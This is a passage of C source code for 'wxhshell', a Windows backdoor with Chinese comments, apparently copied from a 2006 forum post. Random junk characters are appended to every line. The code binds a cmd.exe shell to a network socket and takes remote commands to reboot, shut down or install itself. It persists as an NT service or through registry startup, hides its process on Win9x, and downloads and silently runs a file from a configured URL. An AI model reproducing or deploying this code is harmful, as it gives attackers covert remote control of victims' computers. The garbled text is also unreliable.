      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \gLxC  
    break; S]}}A  
  } 'It?wB W  
  // 安装 {P-xCmZ~Wt  
  case 'i': { > 2#%$lX6  
    if(Install()) 3KSpB;HX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -<_QF82  
    else S}[l*7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \V,c]I   
    break; ; e@gO  
    } iOXZ ]Xj5  
  // 卸载 ~g6"'Cya?k  
  case 'r': { ~W<CE_/]k  
    if(Uninstall()) ( #* "c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1BJ<m5/1%  
    else W{  fZ[z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c!It ^*  
    break; ]4`t\YaT  
    } gH[,Xx?BN!  
  // 显示 wxhshell 所在路径 +Mk#9 r  
  case 'p': { mzWP8Hlw  
    char svExeFile[MAX_PATH]; En(7(qP6}  
    strcpy(svExeFile,"\n\r"); #uSK#>H_!  
      strcat(svExeFile,ExeFile); Zb(E:~h\  
        send(wsh,svExeFile,strlen(svExeFile),0); ldGojnS  
    break; j(iuz^I  
    } 4:7mK/Z  
  // 重启 .[?BlIlm  
  case 'b': { )tS-.PrA-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _T5)n=|  
    if(Boot(REBOOT)) qTT,U9]:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (luKn&826  
    else { S,''>`w  
    closesocket(wsh); 24u x  
    ExitThread(0); 8Hi!kc;f6>  
    } 9'nH2,_  
    break; <_Eg?ePW#  
    } ib$nc2BPb  
  // 关机 y+9h~,:A  
  case 'd': { }XR : 2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9@K.cdRjQ  
    if(Boot(SHUTDOWN))  z [C3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JN4fPGbV  
    else { x({H{'9?  
    closesocket(wsh); ('C7=u&F  
    ExitThread(0); wJeG(h  
    } C$d>_ r  
    break; FY'ty@|_s  
    } 4nqoZk^R  
  // 获取shell /6K Il  
  case 's': { Hp Vjee  
    CmdShell(wsh); }tG3tz0%fX  
    closesocket(wsh); +*}{`L- :  
    ExitThread(0); OtTBErQNF  
    break; g5Z#xszj+  
  } +9XQ[57  
  // 退出 t *G/]  
  case 'x': { WC,+Cn e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8X$LC  
    CloseIt(wsh); t<j^q`;@v  
    break; +Qxu$#  
    } \.uc06  
  // 离开 l|/LQ/  
  case 'q': { *Dmx&F=3,5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *\uM.m0$  
    closesocket(wsh); | ?yo 3  
    WSACleanup(); e>}}:Ud  
    exit(1); a4 MZ;5  
    break; 1ocJ+  
        } $((6=39s  
  } N587(wZ  
  } "2?l{4T\  
N K]B?  
  // 提示信息 MJ`3ta  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w Y   
} SOZPZUUEJ  
  } +rXF{@ l  
Ih}1%Jq  
  return; b5G}3)'w  
} fvq,,@23  
V/d/L3p  
// shell模块句柄 4+;$7"fJ  
int CmdShell(SOCKET sock) N2'qpxOLI  
{ (-77[+2  
STARTUPINFO si; j@gMb iu  
ZeroMemory(&si,sizeof(si)); M:KbD|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4+$b~ u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N==ZtKj F  
PROCESS_INFORMATION ProcessInfo; a]Eg!Q  
char cmdline[]="cmd"; H5CR'Rp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M 3 '$[  
  return 0; [#Lc]$  
} l>gI&1)%  
57a2^  
// 自身启动模式 kd`0E-QU  
int StartFromService(void) [H<bh%  
{ {5r0v#;  
typedef struct #`TgZKDg2  
{ u%/fx~t$  
  DWORD ExitStatus; X,aYK;q%z  
  DWORD PebBaseAddress; :A %^^F%  
  DWORD AffinityMask;  VGHWNMT  
  DWORD BasePriority; bzDIhnw  
  ULONG UniqueProcessId; Ji1Pz)fq  
  ULONG InheritedFromUniqueProcessId; vK7\JZ>  
}   PROCESS_BASIC_INFORMATION; znJhP}(  
(&|_quP7O  
PROCNTQSIP NtQueryInformationProcess; D4eTTfQ  
d)cOhZy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f<=Fsl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KrVcwAcq|1  
ah @uUHB  
  HANDLE             hProcess; dkgSvi :!  
  PROCESS_BASIC_INFORMATION pbi; Xs&TJ8a  
fO'Wj`&a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k#8Ti"0  
  if(NULL == hInst ) return 0; 2!&&|Mh}  
Sxdsv9w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yR{x}DbG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZyOv.,y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?D,=37  
;.xoN|Per  
  if (!NtQueryInformationProcess) return 0; kGpa\c g1  
L9pvG(R%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M(#m0x B  
  if(!hProcess) return 0; y;mj^/SxK  
'(? uPr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yC 77c=  
'r(1Nj  
  CloseHandle(hProcess); !fBF|*/  
1/p*tZP8i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +&zYZA8v  
if(hProcess==NULL) return 0; o6f_l^+H  
tiN?/  
HMODULE hMod; qE'9QQ>:b  
char procName[255]; 85 EQ5yY  
unsigned long cbNeeded; 1n%?@+W  
l3N I$Z u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ["\;kJ.  
u%'\UmE w  
  CloseHandle(hProcess); |ZodlYF  
~|wbP6</:-  
if(strstr(procName,"services")) return 1; // 以服务启动 TO%dw^{_`  
S+TOSjfis  
  return 0; // 注册表启动 XqM3<~$  
} eZ"1gYqy  
r`c_e)STO  
// 主模块 :xKcpY[{  
int StartWxhshell(LPSTR lpCmdLine) L[5=h  
{ ;3_l@dP"  
  SOCKET wsl; Xf)|Pu  
BOOL val=TRUE; [{C )LDN  
  int port=0; > iE!m  
  struct sockaddr_in door; &rkEK4  
<b/~.$a'  
  if(wscfg.ws_autoins) Install(); hzk6rYg1  
]Qm]I1P  
port=atoi(lpCmdLine); ie-vqLc  
5k|9gICyd*  
if(port<=0) port=wscfg.ws_port; %e*@CbO$  
OFje+S  
  WSADATA data; T{wuj[ Q#:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y.^=]-n,  
K'#E3={tt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pRSOYTebP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xl74@wq   
  door.sin_family = AF_INET; d GP*O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tH'2gl   
  door.sin_port = htons(port);  *.)tG  
ioPUUUb)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m|OO,gR  
closesocket(wsl); ePIiF_X  
return 1; tE7[Smzuf  
} DNP13wp@  
V ]90  
  if(listen(wsl,2) == INVALID_SOCKET) { IKie1!ZU{"  
closesocket(wsl); H4]Ul eU  
return 1; 9)VF 1LD  
} | >z3E z  
  Wxhshell(wsl); Rb3V^;i  
  WSACleanup(); ?k(\ApVHj  
dK>7fy;mv  
return 0; Fv<`AU  
=/\:>+p^.y  
} Ie%EH  
'w1YFdW  
// 以NT服务方式启动 SM@QUAXO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KF4PJi;*  
{ $ /nY5[  
DWORD   status = 0; "n*~Mj Ny  
  DWORD   specificError = 0xfffffff; 1!>Jpi0  
4V~?.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NzNA>[$[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T9s2bC.z55  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UT="2*3gz  
  serviceStatus.dwWin32ExitCode     = 0; ;t+ub8  
  serviceStatus.dwServiceSpecificExitCode = 0; t]X w{)T  
  serviceStatus.dwCheckPoint       = 0; Uk\Id ~xLV  
  serviceStatus.dwWaitHint       = 0; DfKr[cqLM  
V%Sy"IG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tY <Z'xA?  
  if (hServiceStatusHandle==0) return; 2YDM9`5xs\  
A2|Ud_  
status = GetLastError(); 2=_g f  
  if (status!=NO_ERROR) W2.qhY5  
{ Bp@v,)8*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1T[et-  
    serviceStatus.dwCheckPoint       = 0; GH[wv<  
    serviceStatus.dwWaitHint       = 0; rl0<Ls  
    serviceStatus.dwWin32ExitCode     = status; "U7qo}`I  
    serviceStatus.dwServiceSpecificExitCode = specificError; \_B[{e7z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^+g$iM[`f  
    return; 3d|9t9v  
  } ?Ae ve n  
p QizJ6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G\(|N9^:  
  serviceStatus.dwCheckPoint       = 0; o^ XtU5SVq  
  serviceStatus.dwWaitHint       = 0; %HJK;   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xt*u4%  
} YY!Rz[/  
l]5w$dded~  
// 处理NT服务事件,比如:启动、停止 YIjTL!bA"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &%-73nYw  
{ =W'Ae,&  
switch(fdwControl) C 9t4#"  
{ qT^I?g"!  
case SERVICE_CONTROL_STOP: _F`lq_C  
  serviceStatus.dwWin32ExitCode = 0; K>{T_){  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Gn&4V}F  
  serviceStatus.dwCheckPoint   = 0; $ , u+4h  
  serviceStatus.dwWaitHint     = 0; Q@HopiC  
  { {E8~Z8tT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5D'\b}*lJ}  
  } L+i(TM=  
  return; :eCU/BC4  
case SERVICE_CONTROL_PAUSE: #Q /Arq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jB(|";G  
  break; ^N)R=tl  
case SERVICE_CONTROL_CONTINUE: R~6$oeWAw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1Yn +<I  
  break; g?ULWeZg5  
case SERVICE_CONTROL_INTERROGATE: .qZI$ l .  
  break; d}4Y(   
}; &mx)~J^m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0ik7v<:  
} ?pd8w#O  
u`RI;KF~F  
// 标准应用程序主函数 H7DJ~z~J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T]c%!&^ _  
{ .~7FyLl$  
(P:<t6;+  
// 获取操作系统版本 (R("H/6xs  
OsIsNt=GetOsVer(); 6g)G Y"49  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LBZ+GB  
?snp8W-WB  
  // 从命令行安装 s|y "WDyx5  
  if(strpbrk(lpCmdLine,"iI")) Install(); +O?KNZ  
q}?4f *WC  
  // 下载执行文件 ]%u@TK7  
if(wscfg.ws_downexe) { c$yk s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]Yn_}Bq  
  WinExec(wscfg.ws_filenam,SW_HIDE); "[ZB+-|[0  
} 2|*JSU.I  
9eQxit7  
if(!OsIsNt) { )`O~f_pIC  
// 如果时win9x,隐藏进程并且设置为注册表启动 ElW~48  
HideProc(); wG-HF'0L  
StartWxhshell(lpCmdLine); Rx=>6,)'  
} Su/6Q$0 t  
else 1`qMj0Y_  
  if(StartFromService()) yj.7'{mA  
  // 以服务方式启动 E vg_q>  
  StartServiceCtrlDispatcher(DispatchTable); 3!|;iJRH  
else t^G"f;Ra+  
  // 普通方式启动 ]Hefm?9*^  
  StartWxhshell(lpCmdLine); HOJs[mqB%  
(<xfCH F5  
return 0; >8#X;0\Kj  
}
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只看该作者 1 发表于: 2006-10-10
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